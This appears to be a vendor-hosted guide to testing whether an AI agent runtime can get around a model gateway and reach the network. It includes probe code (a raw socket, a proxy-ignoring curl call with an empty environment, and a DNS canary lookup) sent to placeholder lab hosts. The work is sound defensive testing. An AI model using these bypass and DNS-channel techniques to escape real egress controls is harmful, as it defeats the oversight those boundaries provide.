An AI gateway is not an egress boundary: test the paths around it

Setting base_url on an SDK routes one client through a model gateway. It does nothing to the process that holds the SDK, the shell a tool spawns, or the raw socket an agent opens when a library gets in its way. An AI agent gateway egress bypass test asks a narrower question than "does the gateway work": can anything in the agent runtime reach the outside without passing a control point, and which layer refused it when it could not.

The claim of this article: routing an API client through a gateway does not by itself enforce the runtime's network boundary. Enforcement has to live in a separate layer, and a test result means something only with evidence from that layer, from the destination and from the gateway.

This is not a new observation. Istio's documentation says that Istio cannot securely enforce that all egress traffic actually flows through the egress gateways, and that mechanisms external to Istio must close the gap. Simon Edwardsson's write-up on forcing agents through an egress proxy covers environment-variable bypass with a raw socket, DNS as a covert channel, IPv6, host paths and the per-run proxy design his team built. What follows is a compact evidence matrix for someone who runs a model gateway.

Three layers that get called "the gateway"#

They answer different questions, and a test passes or fails per layer.

• A model API gateway terminates requests addressed to it: Chat Completions, Messages, embeddings. It can check the key, the model, budgets, rate limits and quotas on those requests. It does not see a connection that was not sent to it.
• A general HTTP egress proxy forwards requests, or CONNECT tunnels, to arbitrary destinations and can allow or deny by identity, host, method or path. Clients find it through HTTP_PROXY-style variables, which, as Edwardsson shows, are a convention the client may ignore.
• Network enforcement (a firewall, a Kubernetes NetworkPolicy with a plugin that implements it, an internal-only container network) decides whether a packet can leave at all. It is the only one of the three that applies to code that does not cooperate.

Two failures also need separate names. A bypass is traffic that reaches a destination without passing the control point meant to see it, such as a direct call to a provider's API that never touched the model gateway. Misuse of an allowed destination passes every control point legitimately and still does harm, such as data written to an allowed host. Edwardsson's footnote puts it plainly: no unrestricted egress is not the same as no exfiltration. A path matrix tests bypass. Misuse needs content policy on the allowed path, and a different test.

Ground rules for the test#

Run this only on infrastructure you own, in an isolated environment, with synthetic data and placeholder provider keys.

• A sink you control, listening on IPv4 and IPv6 and logging accepted connections and payloads. An application sees only completed connections, so add packet capture on the sink host.
• A provider-like lab host answering on a provider-style path such as /v1/chat/completions. Proxy rows aim at it, because a real provider gives you no arrival log.
• A DNS zone you control, delegated to an authoritative server whose query log you can read. Give the parent name (dns.lab.example below) a record and no wildcard.
• Canaries. A marker (CANARY-7f3a) in every payload and a fresh random nonce in every DNS label. Fresh labels reduce ordinary exact-name cache hits; they do not rule out caching. RFC 8198 lets validating resolvers synthesize negative answers, and positive answers from wildcards, out of cached DNSSEC records, and RFC 8020 says a cached NXDOMAIN covers every name below it.
• Explicit test identities. If your proxy or network policy grants by workload identity, run each probe under a named identity: the agent's, and separately the gateway's.

The addresses below (192.0.2.10, 2001:db8::10, sink.lab.example, provider.lab.example) are documentation placeholders for yours.

Positive controls come first#

A negative test means nothing until a positive test in the same setup succeeds.

1. The sinks are reachable. From a host with unrestricted egress, connect to each sink on each address family and confirm the log and the packet capture both recorded it. Otherwise every later "blocked" might mean "sink down".
2. The DNS zone logs what it receives. From the same host, query a fresh label and find it in the authoritative log. This proves the zone works. It does not prove that a later absence was enforcement.
3. The approved gateway path works from inside. From the agent process, make one synthetic model call through the gateway and find it on the gateway side by request or trace id.
4. A policy deny looks like a policy deny. Call a model on the deny list. Then make the upstream fail on purpose, with fallbacks off. The two must be distinguishable in the response and in the gateway's records.
5. The enforcement layer can be seen refusing. Block one destination deliberately and confirm the refusal appears in a firewall log line, a rule counter, your network plugin's policy log or, for a proxy, its deny log. If you cannot see a known-bad connection refused, you cannot attribute any other refusal to that layer.

The path matrix#

Expected results assume the boundary you intend: only the gateway, a named resolver and perhaps one egress proxy are reachable, and the proxy grants provider hosts to the gateway's identity only. Each evidence column is a separate witness. "None" at a sink means something only after controls 1 and 2 passed.

The last two rows matter most to a model-gateway operator. If the proxy grants this agent's identity a provider host, the agent has a path around the model gateway that every layer considers legitimate. In the logs it looks like the last row: an arrival at the provider-like host with no gateway request in the same window. A grant to the gateway's identity says nothing about the agent's, so test each. Two design responses: grant provider hosts only to the gateway's own identity, and keep provider keys out of the runtime so a direct call has nothing to authenticate with. The second is a credential control. It narrows what a bypass can do; it does not close the path.

Some rows have environment-specific traps:

• Node traffic. The Kubernetes NetworkPolicy documentation states that traffic to and from the node where a pod runs is always allowed, regardless of the pod's policies. The host row needs host-side rules, the INPUT-chain gap Edwardsson describes for Docker bridges.
• Policies need a plugin. The same Kubernetes documentation says a NetworkPolicy without a network plugin that implements it has no effect, that egress allows combine additively, that a deny-all policy is only guaranteed for TCP, UDP and SCTP, and that behavior for hostNetwork pods is undefined. A YAML file in the cluster is a claim; the matrix is the check.
• DNS reopens on purpose. A default-deny egress policy also blocks DNS, so you add an allow for the cluster resolver. If that resolver forwards queries outward, a canary label can reach your authoritative server through an allowed destination. The authoritative log can show a leak; only a policy-denial record in the resolver's own log can show a refusal.
• IPv6 is a second network. Edwardsson notes that IPv4 iptables rules do not touch IPv6 traffic. Test each family separately.

Three probes (a raw socket, a subprocess with an empty environment, a DNS query) cover rows three to six. Each runs inside the agent runtime and talks only to your sinks.

# Probe 1, raw socket: ignores HTTP_PROXY and any SDK base_url. Lab sink only.
import socket
for family, host in ((socket.AF_INET, "192.0.2.10"), (socket.AF_INET6, "2001:db8::10")):
    s = socket.socket(family, socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        s.connect((host, 8080))
        s.sendall(b"CANARY-7f3a direct-path\n")
        print(host, "connected")
    except OSError as e:
        print(host, type(e).__name__, e.errno, e)
    finally:
        s.close()

# Probe 2, subprocess with an empty environment: no proxy variables to honor.
env -i /usr/bin/curl -sS -m 5 -o /dev/null -w '%{http_code}\n' \
  "http://sink.lab.example:8080/v1/chat/completions?c=CANARY-7f3a"

# Probe 3, DNS: a fresh random label only your authoritative server would log.
nonce=$(od -An -N8 -tx1 /dev/urandom | tr -d ' \n')
echo "canary-$nonce"
dig +time=2 +tries=1 "canary-$nonce.dns.lab.example"

A failed connection does not say where it failed#

Each probe prints an error. None of those errors identifies the layer that produced it.

• Timeout. A firewall drop, a missing route, a sink that is down, or a DNS lookup that hung before any connection was attempted.
• Connection refused. A reject rule, or a reachable host with nothing listening on that port.
• Name resolution failure. DNS egress blocked or the resolver unreachable. The destination was not tested.
• Cannot assign requested address. The connect(2) manual documents EADDRNOTAVAIL for an exhausted ephemeral port range, and a missing source address of that family is another possible cause. In the Istio NetworkPolicy example, the IPv6 attempts fail this way while IPv4 times out; our reading, a hypothesis, is that only the IPv4 attempt reached the policy.
• TLS error through a proxy. An untrusted interception CA, a certificate-pinned client (Edwardsson notes these can reject interception even with the trust store configured) or another TLS failure. The error alone does not show the proxy's destination-policy decision.

The same discipline separates a gateway policy deny from an unrelated outage. Typed errors let you tell them apart from the client side. In Worksi's gateway, a denied model returns 403 model_not_allowed and an exhausted budget 402 budget_exceeded. Upstream 5xx or connection failures after retries and fallbacks return 502 provider_error, and an upstream timeout 504 provider_timeout. Every refusal by the gateway itself is also recorded as a span with status blocked (the gateway docs list the full table).

A connection error without an HTTP status does not establish whether the gateway received the request. The failure may be before arrival, or on the response path after the gateway read the request. Correlate the client output with the gateway's ingress records and your network evidence for the same window. Produce each shape once, on purpose, so you recognize it.

Read a completed matrix in three parts. The allowed controls succeeded, with the gateway's record to show it. An expected-deny row was refused in this environment and window only where the enforcement layer recorded the refusal and the target saw nothing. Everything else is unverified, not blocked: an absent path such as no IPv6 address, a DNS answer served from a resolver cache, a proxy failure with no deny record, silence from every witness. None of it establishes that the deployment is secure, that untested ports, protocols and identities are closed, or that allowed destinations cannot be misused.

Repeat after restarts and changes#

A passing matrix describes one moment. These are design recommendations, not guarantees.

• After every restart and redeploy of the runtime. The Kubernetes documentation says a pod created before the plugin has handled a new policy may start unprotected, and that the API does not tell you when a policy has been applied. Probe early in a pod's life too.
• After policy, node or image changes. An IPv6-enabled node pool, a tool that ships its own HTTP client or one added allow rule can change a row.
• With the positive controls alongside, and the evidence kept with the run: time window, identity, probe output and the matching enforcement, target and gateway entries. An all-red matrix after a change may mean a tighter boundary, or a dead sink.

Where a model gateway fits#

Worksi's gateway checks each request it receives against model allow and deny lists, spend, token and rate limits, pause and stop, model-access approvals, declared tools and end-user quotas, and records refusals as blocked spans. Which policies you can set depends on the plan: model allow and deny lists start on Startup, tool policies on Scale. It does not see or govern a socket the runtime opens elsewhere, and it does not provide network isolation, egress enforcement or sandboxing. Sending OpenTelemetry spans to Worksi is observation only: enforcement applies to traffic through the gateway. A missing span is not evidence that a call did not happen.

For controls 3 and 4, the built-in simulator needs no provider key. Route a call to a model on the simulator provider for the synthetic call. For the outage shape, send X-AIW-Simulate: timeout together with X-AIW-Fallback: off: the docs say the gateway then returns 504 provider_timeout. Simulated faults apply to the first call only, never to fallback models, so without the fallback header a working fallback can hide the outage you meant to see.

This matrix is about network paths. Whether a call that does reach an MCP gateway is authorized, and whether an agent can call the MCP upstream directly, is a separate set of tests, covered in MCP tool-call authorization: a gateway test matrix. Neither stands in for the network layer that decides what can leave the runtime at all.